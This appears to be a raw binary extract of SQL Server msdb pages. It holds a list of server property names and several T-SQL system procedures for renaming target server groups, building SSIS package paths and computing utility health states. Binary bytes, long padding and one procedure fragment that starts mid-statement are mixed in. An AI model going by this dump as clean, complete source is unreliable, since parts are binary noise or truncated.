!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!1`
ZaI]	(^8!!!!`TcVI:_1p#AuditLevel8
p-BackupDirectory<
p9BrowserServiceAccount=
p/BrowserStartMode>
p9BuildClrVersionString?
p%BuildNumber@
p!CollationA
p%CollationIDB
p-ComparisonStyleC
pEComputerNamePhysicalNetBIOSD
p%DefaultFileE
p#DefaultLogF
pEditionG
p)EngineEditionH
p'ErrorLogPathI
p5FilestreamShareNameJ
p7InstallDataDirectoryK
p;InstallSharedDirectoryL
p'InstanceNameM
p-IsCaseSensitiveN
p%IsClusteredO
p5IsFullTextInstalledP
p'IsSingleUserQ
pLanguageR
p%MailProfileS
p-MasterDBLogPathT
p'MasterDBPathU
p'MaxPrecisionV
pNameW
p1NamedPipesEnabledX
pNetNameY
p/NumberOfLogFilesZ
p!OSVersion[
p%PerfMonMode\
p+PhysicalMemory]
pPlatform_
p#Processors`
p+ProcessorUsagea
pProductb
p'ProductLevelc
p9ResourceVersionStringd
p)RootDirectorye
p#ServerTypef
p+ServiceAccountg
p1ServiceInstanceIdh
p%ServiceNamei
p/ServiceStartModej
p#SqlCharSetk
p+SqlCharSetNamel
p+SqlDomainGroupm
p'SqlSortOrdern
p/SqlSortOrderNameo
pStatusp
p/TapeLoadWaitTimeq
p#TcpEnabledr
p'VersionMajors
p'VersionMinort
p)VersionStringu
p#CreateDatev
p!Collationw
p3CompatibilityLevelx
p1EncryptionEnabledy
pIDz
pName{
p)RecoveryModel|
p%Trustworthy}
pFileName~
pGrowth
p#GrowthType
pID
pMaxSize
pName
pSize
p!UsedSpace
pID
pName
pFileName
pGrowth
p#GrowthType
pID
pMaxSize
pName
pSize
p!UsedSpace
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'`7
pK xE


H

|Gs>

^
+
			K		k:
r5
q<l)=Ig,P`<rNz03! t8CREATE PROCEDURE sp_update_targetservergroup
  @name     sysname,
  @new_name sysname
AS
BEGIN
  SET NOCOUNT ON

  -- Only a sysadmin can do this
  IF (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1) 
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1) -- Failure
  END

  -- Remove any leading/trailing spaces from parameters
  SELECT @name     = LTRIM(RTRIM(@name))
  SELECT @new_name = LTRIM(RTRIM(@new_name))

  -- Check if the group exists
  IF (NOT EXISTS (SELECT *
                  FROM msdb.dbo.systargetservergroups
                  WHERE (name = @name)))
  BEGIN
    RAISERROR(14262, -1, -1, '@name', @name)
    RETURN(1) -- Failure
  END

  -- Check if a group with the new name already exists
  IF (EXISTS (SELECT *
              FROM msdb.dbo.systargetservergroups
              WHERE (name = @new_name)))
  BEGIN
    RAISERROR(14261, -1, -1, '@new_name', @new_name)
    RETURN(1) -- Failure
  END

  -- Disallow names with commas in them (since sp_apply_job_to_targets parses a comma-separated list of group names)
  IF (@new_name LIKE N'%,%')
  BEGIN
    RAISERROR(14289, -1, -1, '@new_name', ',')
    RETURN(1) -- Failure
  END

  -- Update the group's name
  UPDATE msdb.dbo.systargetservergroups
  SET name = @new_name
  WHERE (name = @name)

  RETURN(@@error) -- 0 means success
END
0! $8('')0! 8CREATE FUNCTION [dbo].[fn_syscollector_get_package_path] 
(
    @package_id uniqueidentifier
)
RETURNS NVARCHAR(4000)
AS
BEGIN
    IF @package_id IS NULL
        RETURN NULL

    DECLARE @package_path nvarchar(4000)
    DECLARE @prevfolderid uniqueidentifier
    DECLARE @folderid uniqueidentifier
    DECLARE @package_name sysname
    SET @package_path = ''

    SELECT @package_name = name, 
            @folderid = folderid 
    FROM dbo.sysssispackages
    WHERE id = @package_id

    WHILE (@folderid != '00000000-0000-0000-0000-000000000000')
    BEGIN
        SET @prevfolderid = @folderid

        DECLARE @foldername sysname
        SELECT @foldername = foldername, 
                @folderid = parentfolderid 
        FROM dbo.sysssispackagefolders
        WHERE folderid = @prevfolderid
        SET @package_path = @foldername + N'\\' + @package_path
    END

    SET @package_path = N'\\' + @package_path + @package_name
    RETURN @package_path
END
0! 8
CREATE PROCEDURE dbo.sp_sysutility_ucp_calculate_health 
WITH EXECUTE AS OWNER
AS
BEGIN
    SET NOCOUNT ON;
    -- Snapshot isolation prevents the nightly purge jobs that delete much older data from blocking us. 
    SET TRANSACTION ISOLATION LEVEL SNAPSHOT; 

    DECLARE @new_set_number INT
    DECLARE @myTableVar table(next_health_state_id INT);
    DECLARE @task_start_time DATETIME;
    DECLARE @task_elapsed_ms INT;
            
    -- get the "latest" set-number. We want all the health_state tables to 
    -- reflect the same point in time, and we achieve this by using a single 
    -- set_number column in each of the tables. At any point of time, we should 
    -- be using the entries from the table which correspond to the latest_health_state_id 
    -- value in the sysutility_ucp_processing_state_internal table
    UPDATE msdb.dbo.sysutility_ucp_processing_state_internal 
      SET next_health_state_id = next_health_state_id + 1
      OUTPUT INSERTED.next_health_state_id INTO @myTableVar;

    SELECT @new_set_number = next_health_state_id 
      FROM @myTableVar;
      
    -- Fetch the violations for health polices from latest policy evaluation 
    -- and cache them in the intermediate table. All the health state queries
    -- reference this table to optimize performance       
    SET @task_start_time = GETUTCDATE();
    EXEc dbo.sp_sysutility_ucp_get_policy_violations
    SET @task_elapsed_ms = DATEDIFF (ms, @task_start_time, GETUTCDATE());
    RAISERROR ('sp_sysutility_ucp_get_policy_violations completed in %d ms', 0, 1, @task_elapsed_ms);
    SET @task_start_time = GETUTCDATE();
    
    -- Identify filegroups that have a policy violation. (i.e.) all files in the filegroup
    -- should have violated the same policy. Logfiles are considered to belong to a
    -- fake filegroup with name=N''
    -- We will use this information in subsequent calls
    EXEC dbo.sp_sysutility_ucp_calculate_filegroups_with_policy_violations @new_set_number
    SET @task_elapsed_ms = DATEDIFF (ms, @task_start_time, GETUTCDATE());
    RAISERROR ('sp_sysutility_ucp_calculate_filegroups_with_policy_violations completed in %d ms', 0, 1, @task_elapsed_ms);
    SET @task_start_time = GETUTCDATE();
    
    -- Compute computer health state
    EXEC  sp_sysutility_ucp_calculate_computer_health @new_set_number
    SET @task_elapsed_ms = DATEDIFF (ms, @task_start_time, GETUTCDATE());
    RAISERROR ('sp_sysutility_ucp_calculate_computer_health completed in %d ms', 0, 1, @task_elapsed_ms);
    SET @task_start_time = GETUTCDATE();

    -- Compute dac health state
    EXEC  msdb.dbo.sp_sysutility_ucp_calculate_dac_health @new_set_number
    SET @task_elapsed_ms = DATEDIFF (ms, @task_start_time, GETUTCDATE());
    RAISERROR ('sp_sysutility_ucp_calculate_dac_health completed in %d ms', 0, 1, @task_elapsed_ms);
    SET @task_start_time = GETUTCDATE();
    
    -- Compute dac dashboard health stats 
    EXEC msdb.dbo.sp_sysutility_ucp_calculate_aggregated_dac_health @new_set_number
    SET @task_elapsed_ms = DATEDIFF (ms, @task_start_time, GETUTCDATE());
    RAISERROR ('sp_sysutility_ucp_calculate_aggregated_dac_health completed in %d ms', 0, 1, @task_elapsed_ms);
    SET @task_start_time = GETUTCDATE();
    
    -- Compute managed instance health state
    EXEC msdb.dbo.sp_sysutility_ucp_calculate_mi_health @new_set_number
    SET @task_elapsed_ms = DATEDIFF (ms, @task_start_time, GETUTCDATE());
    RAISERROR ('sp_sysutility_ucp_calculate_mi_health completed in %d ms', 0, 1, @task_elapsed_ms);
    SET @task_start_time = GETUTCDATE();
    
    -- Compute managed instance dashboard health stats 
    EXEC msdb.dbo.sp_sysutility_ucp_calculate_aggregated_mi_health @new_set_number
    SET @task_elapsed_ms = DATEDIFF (ms, @task_start_time, GETUTCDATE());
    RAISERROR ('sp_sysutility_ucp_calculate_aggregated_mi_health completed in %d ms', 0, 1, @task_elapsed_ms);
    SET @task_start_time = GETUTCDATE();
    
    -- Update the config table with the new set_number
    UPDATE msdb.dbo.sysutility_ucp_processing_state_internal
      SET latest_health_state_id = @new_set_number
    
    -- Delete the old sets
    SET @task_start_time = GETUTCDATE();
    DELETE FROM msdb.dbo.sysutility_ucp_aggregated_mi_health_internal WHERE set_number < @new_set_number
    DELETE FROM msdb.dbo.sysutility_ucp_mi_health_internal WHERE set_number < @new_set_number
    DELETE FROM msdb.dbo.sysutility_ucp_aggregated_dac_health_internal WHERE set_number < @new_set_number
    DELETE FROM msdb.dbo.sysutility_ucp_dac_health_internal WHERE set_number < @new_set_number
    DELETE FROM msdb.dbo.sysutility_ucp_computer_cpu_health_internal WHERE set_number < @new_set_number
    DELETE FROM msdb.dbo.sysutility_ucp_mi_volume_space_health_internal WHERE set_number < @new_set_number
    DELETE FROM msdb.dbo.sysutility_ucp_mi_database_health_internal WHERE set_number < @new_set_number
    DELETE FROM msdb.dbo.sysutility_ucp_mi_file_space_health_internal WHERE set_number < @new_set_number
    DELETE FROM msdb.dbo.sysutility_ucp_dac_file_space_health_internal WHERE set_number < @new_set_number
    DELETE FROM msdb.dbo.sysutility_ucp_filegroups_with_policy_violations_internal WHERE set_number < @new_set_number
    SET @task_elapsed_ms = DATEDIFF (ms, @task_start_time, GETUTCDATE());
    RAISERROR ('Deleted older sets in %d ms', 0, 1, @task_elapsed_ms);
    
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!8T
)
T
	`mn<XN;(K0 P8
h>CB0R +8(getdate())0

 @ 8
CREATE PROCEDURE dbo.sp_sysutility_ucp_calculate_mi_health 
   @new_set_number INT
WITH EXECUTE AS OWNER
AS
BEGIN

    -- Compute managed instance database health state
    EXEC msdb.dbo.sp_sysutility_ucp_calculate_mi_file_space_health @new_set_number;

    -- Compute managed instance health state

    -- Insert new record
    SELECT hs.server_instance_name AS server_instance_name, 
       SUM(CASE WHEN health_state.val = 2 THEN 1 ELSE 0 END) AS under_utilized_count,
       SUM(CASE WHEN health_state.val = 3 THEN 1 ELSE 0 END) AS over_utilized_count
       INTO #instance_file_space_utilization 
    FROM msdb.dbo.sysutility_ucp_mi_file_space_health_internal as hs
    CROSS APPLY msdb.dbo.fn_sysutility_ucp_get_aggregated_health(hs.over_utilized_count, hs.under_utilized_count) as health_state
    WHERE hs.set_number = @new_set_number
    GROUP BY hs.server_instance_name;
    
    SELECT sv.Name AS server_instance_name, 
        SUM(CASE WHEN hs.health_state = 2 THEN 1 ELSE 0 END) AS under_utilized_count,
        SUM(CASE WHEN hs.health_state = 3 THEN 1 ELSE 0 END) AS over_utilized_count
    INTO #instance_computer_cpu_utilization 
    FROM msdb.dbo.sysutility_ucp_computer_cpu_health_internal AS hs 
    INNER JOIN msdb.dbo.sysutility_ucp_instances AS sv 
        ON hs.physical_server_name = sv.ComputerNamePhysicalNetBIOS
    WHERE hs.set_number = @new_set_number 
    GROUP BY sv.Name;
            
    SELECT hs.server_instance_name AS server_instance_name, 
        SUM(CASE WHEN hs.health_state = 2 THEN 1 ELSE 0 END) AS under_utilized_count,
        SUM(CASE WHEN hs.health_state = 3 THEN 1 ELSE 0 END) AS over_utilized_count
    INTO #instance_volume_file_space_utilization 
    FROM msdb.dbo.sysutility_ucp_mi_volume_space_health_internal AS hs 
    INNER JOIN (
        SELECT server_instance_name, database_name, volume_device_id FROM dbo.sysutility_ucp_datafiles 
        UNION ALL
        SELECT server_instance_name, database_name, volume_device_id FROM dbo.sysutility_ucp_logfiles
    ) AS df 
        ON hs.volume_device_id = df.volume_device_id AND hs.server_instance_name = df.server_instance_name  
    WHERE hs.set_number = @new_set_number  
    GROUP BY hs.server_instance_name;

    -- Cache view data into temp table
    SELECT *
    INTO #instance_policies
    FROM dbo.sysutility_ucp_instance_policies
    
    -- Get the MI cpu utilization based on processor violating the health policy 
    -- Mark the instance as unhealthy if processor violate the policy
    SELECT ip.server_instance_name AS server_instance_name
        , SUM(CASE WHEN ip.utilization_type = 1 THEN 1 ELSE 0 END) AS under_utilized_count
        , SUM(CASE WHEN ip.utilization_type = 2 THEN 1 ELSE 0 END) AS over_utilized_count
    INTO #instance_cpu_utilization        
    FROM #instance_policies ip
    INNER JOIN dbo.sysutility_ucp_policy_violations pv
        ON ip.policy_id = pv.policy_id AND ip.powershell_path = pv.target_query_expression
    WHERE ip.resource_type = 3      -- processor_resource_type
       AND ip.target_type = 4       -- instance_target_type
    GROUP BY ip.server_instance_name

    INSERT INTO msdb.dbo.sysutility_ucp_mi_health_internal(mi_name, set_number
        , processing_time     
        , is_volume_space_over_utilized
        , is_volume_space_under_utilized
        , is_computer_processor_over_utilized
        , is_computer_processor_under_utilized
        , is_file_space_over_utilized
        , is_file_space_under_utilized
        , is_mi_processor_over_utilized
        , is_mi_processor_under_utilized
        , is_policy_overridden)
    SELECT CAST(sv.Name AS SYSNAME) mi_name
        , @new_set_number
        , sv.processing_time
        , vu.over_utilized_count AS mi_volume_space_over_utilized_count
        , vu.under_utilized_count AS mi_volume_space_under_utilized_count
        , cu.over_utilized_count AS mi_computer_cpu_over_utilized_count
        , cu.under_utilized_count AS mi_computer_cpu_under_utilized_count 
        , su.over_utilized_count AS mi_file_space_over_utilized_count
        , su.under_utilized_count AS mi_file_space_under_utilized_count
        , ISNULL(iu.over_utilized_count ,0) AS mi_cpu_over_utilized_count
        , ISNULL(iu.under_utilized_count ,0) AS mi_cpu_under_utilized_count
        , pt.is_policy_overridden
    FROM msdb.dbo.sysutility_ucp_managed_instances AS mi
    INNER JOIN msdb.dbo.sysutility_ucp_instances AS sv ON sv.Name = mi.instance_name
    LEFT OUTER JOIN #instance_cpu_utilization AS iu ON sv.Name = iu.server_instance_name
    INNER JOIN #instance_volume_file_space_utilization AS vu ON sv.Name = vu.server_instance_name
    INNER JOIN #instance_computer_cpu_utilization AS cu ON sv.Name = cu.server_instance_name
    INNER JOIN #instance_file_space_utilization AS su ON sv.Name = su.server_instance_name
    INNER JOIN msdb.dbo.sysutility_ucp_instance_policy_type AS pt ON sv.Name = pt.server_instance_name;

END
 & @readonlymode) != @readonlymode) AND name=@dac_object_name_pretran))
            SET @action_status = @success
    END

    UPDATE sysdac_history_internal
    SET action_status = @action_status
    WHERE action_id = @action_id AND sequence_id = @sequence_id
    
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!